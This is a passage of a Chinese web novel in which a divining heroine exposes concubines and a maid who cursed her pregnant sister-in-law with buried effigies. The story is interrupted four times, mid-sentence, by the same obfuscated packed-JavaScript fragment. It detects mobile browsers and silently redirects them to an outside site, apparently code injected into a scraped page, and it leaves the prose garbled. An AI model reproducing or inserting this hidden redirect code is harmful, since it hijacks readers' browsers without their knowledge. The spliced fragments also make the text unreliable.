“将军理完了内宅的事儿,便去前头的外书房了。”金猫儿温柔道,“夫人是累着了,要不要吃些东西,锅灶上热着饭菜呢。” “要,将军用过饭了么?” “夫人安心,已经交代给石勇了,一应食笼都是热乎着,保管送到将军处都是热热的。” 虞声笙放心了,伸了个懒腰。 不一会儿,丫鬟婆子们便抬着摆好晚饭的小几进来了。 稳稳当当摆在她跟前,左不过四菜一汤,搭配着香软的白米饭,吃着叫人胃口大开。 她是真的累了。 要不是闻昊渊将麻烦的庶务接过去,怕是她这会儿能累死。 果然,嫁男人还是要嫁这样有能耐有本事,身体精力各方面都不错的。 吃饱喝足,她开始检查丈夫刚刚完成的功课。 翻完了账册,虞声笙不由得感慨——有才能的人,不论到哪儿都能发光发热,闻昊渊就是这样的。 别看他长得粗,人也显得粗犷魁梧,可办起事来还真是细致。 至少以她目前的水平是挑不出错来的。 这男人,不错。 回府后休整了两日,第三日虞声笙便将一应地契都交给了黎阳夫人。 见到旧宅田庄都重回自己手中,黎阳夫人一时感慨万千,想起了亡夫还在时的种种光景,又哭又笑,唏嘘不已。 好半晌她才按捺住情绪,抬眼望着虞声笙:“多谢有你。” “姑母客气了。” “这些你拿着去。”她留下了乐安府的房契,将其他的田庄所有的地契都推回给了虞声笙,“这是你凭着能耐拿回来的,又是你出了银钱,我怎能要?我谢你还来不及呢,这些都是你应得的。” 虞声笙也不客气:“好,既姑母这么说了,我就收下了。” “好孩子,真是敞亮,我就爱与你这样的孩子说话打交道,那些个明面上笑眯眯、暗地里不知多少算计的,我可招架不住。”黎阳夫人喜上眉梢,又忙让人拿来了一只小匣子交给她。 “我本打算你这一趟不论结果如何,这都是要给你的,没想到你这般能耐,我真是老了,不中用了,还请你别嫌弃。” 她说着,将匣子塞进了虞声笙的掌心。 打开一瞧,里头竟是一串玉佛珠。 通透如碧的一串,竟一眼挑不出瑕疵来,细细打磨过的珠子在日光下泛着浅浅的光晕,如梦如幻,精致得让人忍不住屏住呼吸。 “这是我送到佛前开过光的,我留着也没什么用,与你一见投缘,相处起来更是觉得自在,便送给你好了。” 虞声笙小心翼翼地捧在手里,只觉得触手处一片温凉。 “一百零八颗么?”她又问了句。 黎阳夫人轻轻颔首:“是,一百零八颗,每一颗都是单独开过光,后来又请了师父串起来的,送给有缘人。” 虞声笙的心轻轻颤抖。 她当着黎阳夫人的面,将玉佛珠戴在胸前:“好看么?” “特别好看,我瞧着就配你呢。” 虞声笙手腕上的红绳铜钱仿佛火烧一般,滚烫滚烫的。 她也总算明白,这一趟真正的所得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517651|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不是什么地契田产,而是这一串远道而来的玉珠。 跟教她本事的师父相赠的红绳铜钱一样,都是与她命中有缘的宝贝。 返京后的事情很多,一日都不得闲。 一路带回来的特产要送给娘家以及其他好友。 送礼的头一日自然要回虞府。 张氏得了这么多特产,喜笑颜开。 虞声笙见家里众人都有些愁眉不展,也不见大嫂子郑秋娥,她大概猜到了些许,便趁着家宴散席后去了一趟虞开嵘的院中,见到了嫂子。 一见大嫂子,虞声笙吓了一跳。 郑秋娥硬生生瘦了一圈,肚皮却挺得老大。 那模样气色,哪里还有半点从前的丰盈。 “这是怎么了?”虞声笙忙问。 郑秋娥只顾着抹泪,一旁的大丫鬟看不下去回话道:“四姑奶奶有所不知,我们奶奶实在是心病,自打上个月起,奶奶这一胎就不安生,总也睡不踏实,夜里能醒七八回。” “可寻了大夫来瞧过?” “大夫来过了。”大丫鬟奉上茶水,“什么补药灵药的开了一堆,各种门路的安神药安胎药也吃了好些,可咱们奶奶还是晚上睡不着,这大人睡不着,肚子里的孩子能好么……” 她边说边抽了抽鼻子,“可怜我们奶奶如今月份越来越大,身子也越来越重,有人说、说……” “说什么?” 郑秋娥忙打断丫鬟:“别说了,那外头的什么胡言乱语我是一个字不信的,你若再在姑奶奶跟前嚼舌根,仔细我卖了你!” “大嫂子,我来一趟也不容易,你有什么话赶紧说了,别憋闷在心里,身子是自己的,孩子也是自己的,可归根结底,你身子好了,孩子才能好,你说是不是这个理?” 虞声笙简明扼要地给她理顺了这逻辑。 郑秋娥犹豫再三,瘦弱的手不知哪里来的力气,一把紧紧握住她的。 “好妹子,我知晓你是个好人,嫂子没什么不能与你说的……只是前段时日,咱们府里来了个癞头和尚,说什么我肚子里这一胎不祥,会连累母体,乃至整个府里。” 郑秋娥边说边簌簌落泪,“这是我的孩子呀,我怎能……把这话当真,可不知怎么的,自那癞头和尚来后,我便夜不能寐了;一开始你哥哥还觉得是乱力怪神的无稽之谈,如今他也觉得宁可信其有,要我、要我先落了这胎。” 第165章巫祝 大约为了这事儿,夫妻二人没少争执。 郑秋娥怀着身孕本就辛苦,又得不到丈夫的体贴,如今虞开嵘又为着怪谈之说要放弃她腹中之子,叫她如何能接受? 一开始闷着不说,她还能强装无事。 如今对着虞声笙一股脑倒出来,她反倒找到了一个情绪倾泻的人,一边说一边落泪,说到最后几近哽咽。 她身边的大丫鬟也补充了几句。 虞声笙总算听明白了。 原来不仅仅是郑秋娥自己夜不能寐,身子受损,就连虞正德父子近日也接连在仕途之上不顺,先是被人参了一本,后又莫名其妙错失良机,一连串颠簸不平接踵而至,也难叫人不多想。 对自己那位兄长,虞声笙多少还是了解的。 虞开嵘对妻子很是爱护。 尤其这还是他们的第一个孩子,要说他不重视不可能。 是以听完了郑秋娥的话,她便安抚两句,才说自己去寻虞开嵘说说,问问看到底是哪里不对。 郑秋娥正不知如何与丈夫沟通,见小姑子愿意开这个口,那真是再好不过了,忙不迭的点点头。 虞声笙先让金猫儿去传话,随后来了个小厮。 这小厮是虞开嵘身边的人,说是大爷这会子得空了,还请四姑奶奶去前头书房说话。 闻言,虞声笙告辞了大嫂子,只带了金猫儿去了前头书房。 一进门,就见虞开嵘正练着书法。 “四妹妹来了。”他搁下笔。 多时不见,自己这位兄长也生出了几分老成稳重。 好像成家立业后,有能耐的男人都会瞬间长大,就像虞开嵘这样。 不必她开口,虞开嵘就说自己知晓她的来意。 “其实我并未有这个意思,这是我与你嫂子的第一个孩子,我爱护珍重之心不下于她,只是……你也瞧见了,她如今身子不好,人也憔悴,请了几个大夫过来瞧,都说若一直这般,怕是熬不到生产,亦或者生产之时会格外凶险。” 虞开嵘轻叹,眉宇间笼着一层化不开的愁闷。 虞声笙:“可大哥有没有想过,如今嫂子月份大了,就算落胎也是九死一生,横竖都是凶险,不如安抚她的心,说不定事情还有转机。这样好了,我回去后便下帖子请个太医过来瞧瞧。” “正等着妹妹这句话呢。”虞开嵘精神一振。 “好说,嫂子都是自家人,嫂子肚子里的也是我未来的小侄儿。” 她顿了顿,又道,“这事儿先不急,兄长既然担心嫂子,就该将事情与她明说,不然害得嫂子思虑过重,反倒会越发伤了身子。” 虞开嵘是聪明之人。 哪里不明白她的言下之意。 沉默半晌,他轻轻颔首:“多谢四妹妹提醒。” 回府后,虞声笙先下帖子请了太医去虞府,随后精心凝神下来起了一卦。 起卦时用的是虞开嵘的生辰八字。 没瞧出什么端倪。 随后,她又以郑秋娥的生辰八字再起一卦。 这回,她看清了卦象,惊讶地咦了一声。 今瑶一直守在一旁瞧着,好奇追问:“夫人,可是卦象不对?” “卦象哪有不对的,不对的是人呢。”虞声笙莞尔,“我知道大嫂子是怎么回事了,不是天灾,而是人祸。” 隔了两日,虞府送了书信来。 说是太医过府替郑秋娥医治,换了新方子,倒让这位大奶奶着实安眠了两夜。 加上虞开嵘主动与妻子和解,又是解释又是宽慰,夫妻二人化解心结,又让郑秋娥心宽了好些,是以到了第三日,她肉眼可见的精神许多。 消息传来,虞府上下都松了口气。 尤其虞正德与张氏。 张氏跪在祠堂内,对着列祖列宗求保佑。 原本对此将信将疑的虞正德瞧着儿媳妇一日好过一日,都忍不住想跟老妻一道跪着拜拜,怎么说他也是虞家的儿子,应该比媳妇求得更有用吧。 有人欢喜有人愁,这句话真是不假。 就在虞府上下都开心的时候,另一处的院落中有两人不快了。 这两人便是虞正德的妾室,一个孟姨娘,一个晚姨娘。 “怎么搞的,你不是说这巫祝之术最是灵验的么?怎就前段时日起效,那四姑奶奶来了之后就不灵了呀。”晚姨娘急了。 孟姨娘也纳闷:“先前不是还挺有效的,你瞧着大奶奶那脸色,一只脚都踏进阎罗殿的人了,怎么这两日又缓了过来,难不成当真是那太医妙手回春?” 她也是大惑不解。 原来,这二人早就偷到了郑秋娥的生辰八字。 将其以朱砂活血做墨,写在了黄纸上,又钉在槐木制成的板子上,按照时辰方位埋在树根底下。 这法子本就是耗尽人精气的阴损之招。 要的就是郑秋娥以及肚子里未出生的孩子的性命。 眼瞅着大功即将告成,却功亏一篑,这二人自然急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521889|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不行。 尤其晚姨娘。 她抚摸着尚未起来的肚子,满脸急躁:“你不是说这法子最灵验的么,大奶奶要是没事,我、我这头可怎么好?” “你急什么?”孟姨娘忙安抚,“你别自己乱了手脚,反叫人瞧出端倪来。” 晚姨娘忙不迭地闭上嘴,大大的眼睛里流露出些许惊恐。 “我不说便是。” “既然那大奶奶有护身之法,那咱们就再来一次,一样再弄一个,想来比先前的更霸道……只是这样难免凶了点。”孟姨娘呢喃着,“不过,为了咱们俩,也不得不这般了。” “好好。”晚姨娘眼睛放光,拼命点头。 又是一个夜凉如水的深夜。 一鬼鬼祟祟的身影从宅院里溜出去。 顺着无人经过的小道,借着林荫月色的遮掩,一路悄悄往郑秋娥的院子走去。 见她熟门熟路地从偏门拐了进去。 走到花园子里的某处蹲下,开始挖土掩埋。 刚做好一切,忽儿身边火光亮起,照得她魂飞魄散,想跑已经太晚了。 大门、庭院、廊下都是奴仆。 他们举着火把或是灯火,将其团团围住。 这时方才那个鬼魅一般的人影曝光于众人眼前。 这是个丫鬟,容貌一般,平平无奇。 她见逃不出去,慌乱地跪在地上瑟瑟发抖。 房门开了,从里头出来的不是郑秋娥,而是虞声笙。 见是她,那丫鬟吃了一惊:“四、四姑奶奶……” 虞声笙手持暖炉,穿着厚实的冬袄,那一身孔雀蓝在橘色火光的映照下呈现出优雅的翠色,领口袖口处是灰鼠**的皮草,一簇簇油光水滑,煞是富贵大气。 那对称而立的领子,刚好托住她那纤巧白皙的下巴。 微微昂起,她眯着双眸,什么都没说却有股隐隐威压扑面而来。 视线笼罩之下,那丫鬟已经吓得不敢抬眼。 “抬起脸来给我瞧瞧。”虞声笙柔声道,“你叫什么名字,原先在哪一处做事?” 那丫鬟眼神四下游走,一开口话都碎了一半,连个囫囵句子都没有。 还是虞声笙身边的婆子回话说:“四姑奶奶,这是二角门守着的丫鬟,名叫燕儿,原先是外院负责杂扫的粗使丫鬟,今年上半年才去的二角门。” “噢,原来如此……燕儿,你为何大半夜地来大奶奶的院中,你刚刚埋的是什么东西?” 第166章事发 燕儿哪敢回话,耷拉着脑袋,抖如糠筛。 见状,虞声笙直接给了金猫儿一个眼色,后者立马上前将方才埋下去的东西挖了出来。 那里头赫然是一个木质的小人,上头还贴着不知谁的生辰八字。 以一张乌红的纸张钉在小人的头上。 那东西叫人瞧一眼,都惹得众人一阵心惊胆战。 鬼神之说,巫祝之术最是让人忌惮。 尤其这深更半夜的,又瞧见这样诡异的物件,其余的丫鬟都觉得背后****的。 金猫儿胆大,毫不在意,将其送到虞声笙跟前:“夫人您瞧。” 虞声笙拿起木头小人在掌心摩挲了两下:“这不是……大奶奶的生辰八字么,你是听了何人的差遣,竟敢在府里行这样的事端,就不怕被乱棍打死么?” 燕儿慌了神,泪如雨下,只顾着磕头:“还请四姑奶奶饶命,四姑奶奶饶命啊……” “管燕儿的是什么人?”虞声笙问。 “回姑奶奶的话,是戴贵家的。” 戴贵家的……虞声笙觉得很耳熟。 今瑶提醒了两句,她才想起,这不是玉香的老娘么,专管虞府角门出入的,说起来燕儿归她管也在情理之中。 “戴贵家的人呢?” 不一会儿,一神色慌张的婆子就被带到她跟前。 这便是玉香的亲娘。 “四姑奶奶,燕儿是归我管,但今日不轮她当值;姑奶奶是咱们府里嫁出去的,自然了解府里的规矩,不轮当值的丫鬟自有别的派遣,论理老奴也管不上她这么多。” 戴贵家的一开口就把自己摘得干干净净。 虞声笙轻笑:“今日不轮她当值,她就不归你管了?那好,我来问你,既然不轮她当值,入夜角门落锁后,她是怎么进得内院来的?又是如何偷偷摸摸进了大奶奶的院子?这钥匙是从何而来,难道这也与你无半点干系么?” 戴贵家的一听,脸上的血色渐渐褪去。 见状,虞声笙的笑容越发冰冷:“你也是府里的老人了,论起来可比我入府的时间还久,老爷太太重用你们两口子,你就是这样报答他们的?大奶奶如今怀了身孕,是府里头一等要紧之人,你也是这般当差的?嗯?” 寥寥数语,怼得那戴贵家的无言以对。 “你也别说我是出了门子的,本该不能管娘家之事,但父母在上,我又姓虞,这是打断骨头还连着筋的亲人呢,我怎能坐视不理?” 她缓缓踱着步子,“你老实说吧,燕儿背后是何人差遣,早点说出来也免得受些个皮肉之苦,也别脏了大奶奶的地方,你说是不是这个理?” 她的声音轻柔干脆。 柔美中带了些许霜寒之意。 明明没有威逼,更没有责罚,却听得人无端胆寒。 一股子寒气从背后直冲头顶。 戴贵家的咬咬牙,忙不迭地跪下:“姑奶奶明鉴,方才是老奴晕了头,本想着先与姑奶奶交代清楚,好让姑奶奶明白,没有半点为自个儿辩驳的意思,是老奴约束不力,叫这丫头偷藏了钥匙,才酿出这般祸事来……这燕儿平日里与孟姨娘、晚姨娘走得近;就上个月,晚姨娘还来问过老奴,问能不能将燕儿拨给她差遣。” “可姑奶奶知晓的,府里一应奴仆调动都要经太太的首肯,没有太太发话,谁敢呢?老奴愚钝,但也晓得这道理,便没有答应,还是留下了燕儿。” 虞声笙看向燕儿:“戴贵家的说的可是事实?” 燕儿咬着唇,瑟瑟发抖了好一会儿,用力点点头。 事已至此,再隐瞒也无意义了。 她更不想给两房姨娘做替死鬼,还不如早早交代了。 “孟姨娘与晚姨娘给了奴婢二十两银子,让奴婢将、将这匣子埋在大奶奶的院子里……” “这是第几回了?” “头一回……” 虞声笙挑眉:“看样子你是不见棺材不掉泪了,可惜了,我不怜香惜玉,你再胡诌糊弄,只怕你今日难以全须全尾地离开。” 燕儿吃惊不小,忙不迭地磕头认错:“姑奶奶开恩,是、是第二回了……” “头一回是什么时候?” 燕儿说个日期。 虞声笙细细一对,刚好可以与郑秋娥的异常对得上。 这应该就是关键所在。 事情牵扯到两位姨娘,作为晚辈,虞声笙是没法子插手的,最终这麻烦还要交到张氏手中。 她吩咐左右,将这院里的消息封死。 “谁敢走漏一丝半点,就不要怪我心狠手辣,容不下人了。”她嘴角扯出一个冰冷甜蜜的浅笑。 众人忙不迭地应了。 随后,她又安排人暗中盯住那两房姨娘,自己匆匆去了东厢房。 府里出了这样大的事,张氏自然还没睡下。 屋中点着几盏烛火。 她与虞正德一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521890|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在榻上。 夫妻二人相对,不发一言。 听完了养女的话,张氏脸色阴沉得可怕,此刻也顾不上丈夫的颜面了,当着虞声笙的面她狠狠剜了他好几眼,那眼神里的埋怨不快溢于言表。 她怒道:“你瞧瞧你纵出来的小妖精!!平日里花枝招展,妖里妖气就算了,如今还算计到儿媳妇的头上!儿媳妇肚子里怀着的可是咱们虞府的下一代!我今日不会手软,你要护便护,回头到了嵘哥儿与儿媳妇跟前你如何摆老子的架子,我可不替你操心!” 一番话说得虞正德脸颊火辣辣。 他也没想护着啊…… 但一瞅妻子愤怒的脸,他立马把话咽了回去。 打点内宅、约束奴仆、管理妾室,这些都是当家主母的分内之事。 张氏这些年在虞府内宅中都是说一不二的。 虞正德从未偏向过其他人,只要妻子说要办的,明面上他从不反驳。 “你消消气,自个儿的身子要紧,只是两个小星罢了,拿住了证据还不是随便你发落。”他劝道。 闻言张氏总算顺气了些。 她叫来了荀妈妈,一应管事婆子出动,很快就拿住了两房姨娘,连带着还从屋中搜出了好些没有来得及用的木质小人,以及几张写着生辰八字的黄纸。 仔细一瞧,这些生辰八字赫然是张氏与虞开嵘的! 张氏怒极,当下再也不忍耐,直接让婆子将二人拖出去先打一顿板子再说。 见到事关自己唯一的儿子,虞正德也忍不住了:“给我狠狠地打!!” 晚姨娘是哭着瘫坐在地上被拖走的。 她尖叫连连,看着婆子手中厚实的木板,忙哭嚎道:“老爷饶命!!妾身已经怀了身孕,实在是打不得啊!!” 张氏眉心重重一抽,再看向虞正德,果见对方神色略有迟疑。 一阵火气窜起,她刚要开骂,却听虞声笙柔柔地来了句:“女儿有一事不明,还请父亲为女儿解惑。” “什么事?” “难道妾室怀孕,就可以对兄长下手,然后还能全身而退,连顿板子都不打么?这要是传出去,岂不是寒了大哥哥的心?” 虞声笙搬出了虞开嵘。 曾经接连痛失两个女儿的虞正德也清醒了。 妾室怀孕固然可喜,但也不是保命的尚方宝剑。 “给我打!”虞正德一声令下,婆子手里的板子刷刷落下。 第167章原来是你 晚姨娘又惊又怕。 身上连着落下了好几下,钝钝的疼痛让她瞬间清醒过来,一边哭一边求饶,几乎对着张氏和虞正德哭了个遍。 倒是孟姨娘咬着牙不吭声,硬生生挨了这一顿。 直到打得二人都冷汗直冒,裤腿之下隐隐透着血迹,板子才算停下。 这些跟在张氏身边很多年的婆子们极有眼力劲。 不必主子发话,她们就明白该怎么做。 瞧着打得很凶,但实际上并未伤及性命,只是晚姨娘若真怀孕了,肚子里的孩子定然保不住,堪称一箭双雕。 眼瞅着这二人挨了一顿打,张氏才略略松了口气。 请了府医来给晚姨娘号脉,趁着这机会,张氏冲着虞声笙宽厚笑道:“好孩子,叫你留了这么久,这会子都这么晚了你就歇在府里吧,你原先住着的院子还留着,让丫鬟们收拾一下便可,你好好安置了。” 虞声笙明白,接下来的好戏自己怕是不能近距离欣赏了。 她也不矫情,盈盈福了福:“是。” 远远离去,她回眸看向东厢房,那一片依旧昏暗,与平常没什么两样,根本看不出这山雨欲来的风暴。 一夜好眠,虞声笙翌日起身时,今瑶便过来说昨个晚上发生的一切。 “孟姨娘没了?”虞声笙惊讶。 她还以为先没的会是晚姨娘。 “是了,听说这些事情都是孟姨娘出的主意,晚姨娘是个糊涂的,一听说大少爷两口子会与自己肚子里的孩子冲了,她便答应了;孟姨娘还交代了,那癞头和尚也是她花了银子请人假扮的。” “乖乖,真是个厉害的。”虞声笙感慨。 “可不是,这孟姨娘嘴硬得狠,昨个儿太太动了肝火,还让经年的婆子拿出了原先惩罚犯了大错的奴仆的手段,一股脑都用在她身上,孟姨娘才招了的。” “她好好做姨娘,怎又生出这样的念头来了?” 谋害长子长媳,乃至虞府未来的孙辈,这放在哪一个府里都难有活命的机会。 孟姨娘自己没有孩子,也不怎么得虞正德的宠爱,其实安分守己在府中养老也是能的,张氏对她也是睁一只眼闭一只眼。 虞声笙想不通,好好过自己的日子不成么? 今瑶道:“奴婢也是这样想的,姨娘算得上半个主子了,有吃有喝、绫罗绸缎又不缺,还有丫鬟伺候着;不过我听外头那些小厮议论,他们说孟姨娘在外头有个相好的,孟姨娘不能与相爱之人相守,又见不得晚姨娘比自己得宠,才暗中挑拨的;不过是没想到事情这么快暴露,都没熬到晚姨娘生下孩子。” “晚姨娘真的怀孕了?” “嗯,千真万确。” 金猫儿凑过来低声说了句:“我听珍珠说了,太太……没有要了晚姨娘的命,就连这一胎都保了下来。” 虞声笙先是一阵匪夷所思,后又想明白了:“母亲宽容,是为了整个虞府着想。” 张氏不愿沾上这些因果,况且虞府子嗣并不兴旺,难得有一姨娘怀孕,纵然虞正德不会在明面上开口求情,但难保日后会后悔。 作为当家主母,更作为虞正德的发妻,张氏早已将一切可能都了如指掌。 留下晚姨娘这一胎,对她对整个虞府都有好处。 “厉害了。”虞声笙百感交集,“我要学的还有很多呀。” 回府后,还没来得及轻松一下,另有一客人登门。 是许久不见,也不怎么来往的徐诗敏。 “好妹妹一去这么久,本该在你们两口子回京时我就来探望的,我婆母很是挂念妹妹你呢。”徐诗敏掩口轻笑。 多时不见,徐诗敏比从前丰腴了不少。 眼角眉梢又带上了从前才有的骄傲。 “你有什么事么?”虞声笙过于直白,倒让徐诗敏脸上的笑容黯淡几分。 她甩了甩帕子,笑道:“其实也没什么事,一来是探望声笙妹妹你,二来嘛……” 她眸光柔情大盛,低头轻抚着自己的小腹,“我有了身孕,想来跟妹妹你讨些安胎得用的药材,我听说先前妹夫得了很多宫中赏赐,其中就有这几样,不知妹妹能否割爱?” 说着,她身边的盈袖上前递上了一张单子。 虞声笙看得直乐。 转念想起闻昊渊前两日与自己说的话,她忍住了笑意。 接过单子瞧了瞧,她笑道:“这些东西七七八八的都有,若你用得上,自然没有什么不能给的,只是有一点……我这人向来谨慎小心,也怕惹上什么不必要的麻烦,东西给了贵府,还请大奶奶到时候给我写一张切结书。” “什么?”徐诗敏嘴角僵了僵。 “你登门讨药,我给了你了,那往后你用了这些药材有什么万一,那就不与我相干;我总不能破费了,还给自己徒惹不快吧?” 虞声笙嫣然一笑,“大奶奶是个明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528047|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白人,自然了解我的难处。” 徐诗敏笑不出来了。 放眼京城,大概只有虞声笙敢这样说这样做。 正气氛僵持的时候,金猫儿取了单子上的药材,今瑶备了文房四宝,两样一齐摆在徐诗敏的眼前。 “我说,大奶奶写,早就知晓大奶奶是京中难得一见的才女,想必这文墨功夫定然很好,这事儿难不住你。” 她将笔墨推到了徐诗敏的跟前。 徐诗敏一阵气闷,冷冷道:“夫人这是什么意思,羞辱于我么?” “自然不是,我不过是想求一个心安。” “我若不写呢?” “那就只能请大奶奶空手而回了。”虞声笙瞥了一眼她带来的各色贵重礼物,“这些东西麻烦大奶奶也带回去,我不收的。” 最终,徐诗敏什么也没写,什么也没要。 沉着脸她命人将礼物又搬了回去,拂袖离开。 回到马车上,盈袖才宽慰她。 徐诗敏今日前来是为了炫耀,却没想到人家半点不在意,还当面给了这么大一个羞辱。 “哼,等着瞧,我与她差不多时候成婚,她如今的肚子还静悄悄的,好日子扒着指头都数得过来。” 徐诗敏冷哼两声。 却说安园里,虞声笙重新更衣梳妆,又歪在榻上用了一盏酸甜可口的梅子汤,略解了乏后,她吩咐道:“把人带上来吧。” 不一会儿,一丫鬟耷拉着脑袋,被一把推入房中。 那丫鬟步子踌躇,好半晌才到了虞声笙跟前,缓缓跪下。 抬起脸时,今瑶吃了一惊。 这是——玉香! 多时不见,玉香早已没有从前的娇润美貌。 她直勾勾地瞪着榻上的夫人,咬紧的唇瓣隐隐发白,透着此刻的不甘心。 “孟姨娘一事,是你在背后搞鬼吧。”虞声笙开门见山。 玉香吃惊不小,眼珠子转了转。 刚要开口辩驳,又听上首的女主人缓缓道:“别急着反驳,那木质小人是你的手艺,我从前瞧过你做这些小玩意,还曾夸你做得不错,你忘了?” 玉香霎时面无血色,辩无可辩。 “你心里怨我,怨我当初答应了饶你,却迟迟没有将你带回将军府安顿,所以想出这样的法子来泄愤;那些所谓的说辞也都是你跟孟姨娘说的,你拿住了她在外头的把柄,是以她到死都没供出你。” 第168章业报 说得再准确一点,是孟姨娘没想到张氏下手这么果断,都没让她瞧见第二天的太阳。 她算到的,应该是被责罚一顿,免不了挨顿打,随后过段苦日子,只要晚姨娘肚子里的孩子保下来,但凭着她们俩的交情,晚姨娘应该会保她。 横竖她们二人都是妾,说起话来要比与张氏更亲近。 大约她从前那段时日也没少跟晚姨娘培养感情。 那晚姨娘怯懦无主见,专听她一人的话,她才觉得稳操胜券吧。 可惜了,她了解晚姨娘,了解其他人,却唯独不了解张氏。 她是虞正德的姨娘,不是张氏的。 人家下手自然不会留情。 孟姨娘不了解张氏,但玉香却很了解。 到底是一开始跟在张氏身边的丫鬟了,玉香又极为聪明,她哪里不明白这一招的关键所在。 玉香憋闷了许久。 心中隐约猜到要回虞四姑娘身边当差,怕是千难万难了。 回想起自己从前跪在虞声笙跟前哭诉求饶,她心里就如被虫咬一般难受。 她想了个法子。 先给张氏添堵,再离间虞开嵘两口子,单凭着她的年轻美貌,足以趁虚而入,叫虞开嵘收了她做妾。 高攀不上将军府,那么留在虞府做半个主子也是好的。 还能趁机给虞声笙制造点麻烦。 虞府是虞声笙的娘家,娘家这头鸡飞狗跳,难道她一个出嫁女面子上能好看? 不得不说,玉香心思深沉,颇有手段。 若不是虞声笙抢先算到,指不定真能被她得逞。 跪在跟前的玉香一开始还咬着牙不吭声,被虞声笙三言两语说着,终于有些绷不住了。 她泪水簌簌滑落:“姑娘好狠的心,奴婢先前是做错了,可奴婢已真心悔过,可姑娘半点旧日情分都不讲,说抛就抛了!!难为奴婢一片赤诚,却换来这样的下场,姑娘哪里知晓,被姑娘撵走后我过得是什么日子!” 从前高高在上惯了的,玉香在丫鬟中算是相当风光。 她是家生子。 娘老子又是府中得力管事。 她更是从太太屋里出来的。 阖府奴仆中,也难挑一个如她一般体面的。 “所以,你连带着连你爹娘都一并恨上了,你知不知道这一次你爹娘在府里的管事怕是做不长久了?”虞声笙淡淡问。 玉香清秀的眉眼间划过一抹狠厉。 “那也怨不得我。”她冷哼,“他们见我无用了,便要将我随便许配给一户人家,我说了我要等姑娘,他们也不听,我能怎么办?!” 她抬眼的瞬间,怨怼之情再也忍不住,朝着虞声笙扑面而来。 虞声笙明白,玉香这是恨透了自己。 自己在不知不觉间被玉香当成了最后的救命稻草。 把玩着腕骨上的铜钱,她细细想了想:“也罢,是我随口应下才带来的麻烦,因由我起,果自然也逃不掉,你就留下吧。” 玉香震惊,满脸恨意还未来得及褪去就被突如其来的惊喜淹没。 “姑娘这话当真?” “自然。”虞声笙瞥了眼,“不然我也不会跟太太开口要走你了。” 既然属于她的业报,那就放在她的眼皮子底下吧。 横竖看玉香的面相……她也差不多临到了了。 惊喜来得太过突然,她一时间没忍不住,从嗓子眼里蹦出几声哀鸣,随后咚咚给虞声笙磕头,原先的怨怼之言也变成了感激。 什么做牛做马都会报答姑娘之类的话,听得虞声笙一阵无语。 让人将玉香带下去安顿,虞声笙吩咐了,说前一个月不必给玉香安排什么差事,且让她好好熟悉一下府里。 等众人退下,今瑶才蹙着眉开口:“夫人这样做是不是有些欠妥了?玉香此番行为可是大错,若是在虞府,怕是太太饶不了她,夫人却要留下她,还要给她在府里安排事务,岂不是打太太的脸?” “谁说我要给她安排事务了?” 虞声笙轻轻摩挲着下巴,“我说了等一个月,一个月后再看。” 说罢,她便起身再次起卦,随后让人买了红绳来,亲手编了一根平安扣,命人送去虞府,直接送到郑秋娥的手里。 郑秋娥知晓自己这位小姑子有点本事,便将平安扣日日带着。 说来也怪,自从除了那两个姨娘,又将埋在院中的腌臜之物毁去,她的身子一日比一日好了起来,也养得容光焕发,更显精神。 张氏见状,也懒得因为玉香跟虞声笙计较。 区区一个下人罢了,何必放在心上。 却说玉香入了威武将军府后没十日,这天早上,金猫儿得了底下婆子的回话,说是玉香快不成了。 乍一听这话,金猫儿吓了一跳。 生怕是玉香故意拿乔,又演出些个故事来,她还在回话之前特地去了一趟玉香的屋子瞧了。
